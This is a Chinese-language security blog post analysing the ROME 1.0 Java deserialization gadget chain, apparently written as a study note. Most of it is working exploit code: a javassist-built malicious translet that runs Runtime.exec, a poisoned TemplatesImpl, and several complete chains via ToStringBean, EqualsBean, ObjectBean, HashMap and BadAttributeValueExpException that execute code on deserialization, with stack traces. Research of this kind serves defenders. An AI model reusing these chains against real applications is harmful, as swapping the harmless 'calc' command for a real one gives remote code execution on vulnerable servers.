文章目录
前言
版本
本笔记实验采用Rome1.0 + jdk8u261
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
代码审计 | 原理分析
1. ToStringBean.toString()触发TemplatesImpl.getOutputProperties()
ToStringBean类构造器传入一个类和对象
调用toString方法会获取指定类的getter方法,然后在下面invoke
因此只要构造器传入Templates类和恶意TemplatesImpl即可完成触发getOutputProperties()
手动调用ToStringBean.toString()示例代码
首先生成恶意AbstractTranslet类,复用之前复现7u21的代码
package jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
public class GenerateEvilByJavaassist {
public static byte[] generate() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("E");
CtClass zuper = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(zuper);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
}
接着生成恶意TemplatesImpl
package jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class GetTemplatesImpl {
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvilByJavaassist.generate()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
new ToStringBean对象,传入Templates类和恶意TemplatesImpl,然后调用toString方法
package ROME;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;
import javax.xml.transform.Templates;
public class ManualToStringBeanToString {
public static void main(String[] args) throws Exception {
ToStringBean toStringBean = new ToStringBean(Templates.class, GetTemplatesImpl.getTemplatesImpl());
toStringBean.toString();
}
}
2. EqualsBean.hashCode()触发toString()
EqualsBean的构造器也是传入一个类和一个该类实例
然后调用它的hashCode方法就会先触发obj实例的toString
因此传入ToStringBean类和恶意ToStringBean实例即可完成触发toString
手动调用EqualsBean.hashCode()示例代码
new EqualsBean对象,传入ToStringBean类和恶意ToStringBean实例,调用hashCode
package ROME;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;
import javax.xml.transform.Templates;
public class ManualEqualsBeanHashCode {
public static void main(String[] args) throws Exception {
ToStringBean toStringBean = new ToStringBean(Templates.class, GetTemplatesImpl.getTemplatesImpl());
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
equalsBean.hashCode();
}
}
3. ObjectBean触发toString()或hashCode()
ObjectBean包含了EqualsBean和ToStringBean
它同时拥有hashCode和toString方法,都是调包含的EqualsBean和ToStringBean
因此这里就有五种调用链:
- 调用ObjectBean构造器、随便传值,使用反射赋值EqualsBean,调用hashCode
- 调用ObjectBean构造器、随便传值,使用反射赋值ToStringBean,调用toString
- 调用ObjectBean构造器、传入EqualsBean,调用两个方法均可
- 调用ObjectBean构造器、传入ToStringBean,调用两个方法均可
- 调用ObjectBean构造器、传入Templates,调用toString
ysoserial采用的是第一条链子
手动调用ObjectBean.toString()和hashCode()示例代码
首先写一个封装反射传值的函数
package ReflectPacked;
import java.lang.reflect.Field;
public class SetValue {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
new ObjectBean对象,一共有五种方法,然后手动调用toString和hashCode
package ROME;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;
import javax.xml.transform.Templates;
public class ManualObjectBean {
public static void main(String[] args) throws Exception {
Templates templates = GetTemplatesImpl.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
{
ObjectBean objectBean = new ObjectBean(String.class, "a");
// 复用之前封装好了的反射赋值方法
ReflectPacked.SetValue.setValue(objectBean, "_equalsBean", equalsBean);
objectBean.hashCode();
}
{
ObjectBean objectBean = new ObjectBean(String.class, "a");
ReflectPacked.SetValue.setValue(objectBean, "_toStringBean", toStringBean);
objectBean.toString();
}
{
ObjectBean objectBean = new ObjectBean(EqualsBean.class, equalsBean);
objectBean.hashCode();
objectBean.toString();
}
{
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
objectBean.hashCode();
objectBean.toString();
}
{
ObjectBean objectBean = new ObjectBean(Templates.class, templates);
objectBean.toString();
}
}
}
4.1. HashMap反序列化触发hashCode
HashMap重写readObject调用了hash
然后调用hashCode
因此只要把EqualsBean或ObjectBean put进去反序列化就会触发hashCode
同样的:HashMap的子类:LinkedHashSet、HashTable也会触发
HashMap反序列化示例代码
先封装一个反序列化的方法:
package UnserializePacked;
import java.io.*;
public class Unserialize {
public static void unserialize(Object obj) throws Exception{
File f = File.createTempFile("temp", "out");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(obj);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
Object o = ois.readObject();
System.out.println(o);
ois.close();
f.deleteOnExit();
}
}
生成HashMap的方法,put ObjectBean或EqualsBean,然后反序列化
package ROME;
import UnserializePacked.Unserialize;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;
import javax.xml.transform.Templates;
import java.util.HashMap;
public class Manual {
public static void main(String[] args) throws Exception {
Templates templates = GetTemplatesImpl.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean objectBean = new ObjectBean(String.class, "a");
ReflectPacked.SetValue.setValue(objectBean, "_equalsBean", equalsBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean ,1);
Unserialize.unserialize(hashMap);
}
}
4.2. BadAttributeValueExpException反序列化触发toString
既然要触发ToString的toString方法,还想到了CC5也是BadAttributeValueExpException触发toString的。
readObject会调用toString
因此只要利用反射给val参数赋值即可触发
BadAttributeValueExpException反序列化示例代码
package ROME;
import UnserializePacked.Unserialize;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
public class Manual2 {
public static void main(String[] args) throws Exception {
Templates templates = GetTemplatesImpl.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
ReflectPacked.SetValue.setValue(badAttributeValueExpException, "val", toStringBean);
Unserialize.unserialize(badAttributeValueExpException);
}
}
POP链
HashMap
ysoserial采用的是这条链子
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
main:21, Manual (ROME)
BadAttributeValueExpException
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2256, ObjectInputStream (java.io)
readOrdinaryObject:2147, ObjectInputStream (java.io)
readObject0:1646, ObjectInputStream (java.io)
readObject:482, ObjectInputStream (java.io)
readObject:440, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:20, Manual2 (ROME)
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123330443
版权声明:本文为原创,转载时须注明出处及本声明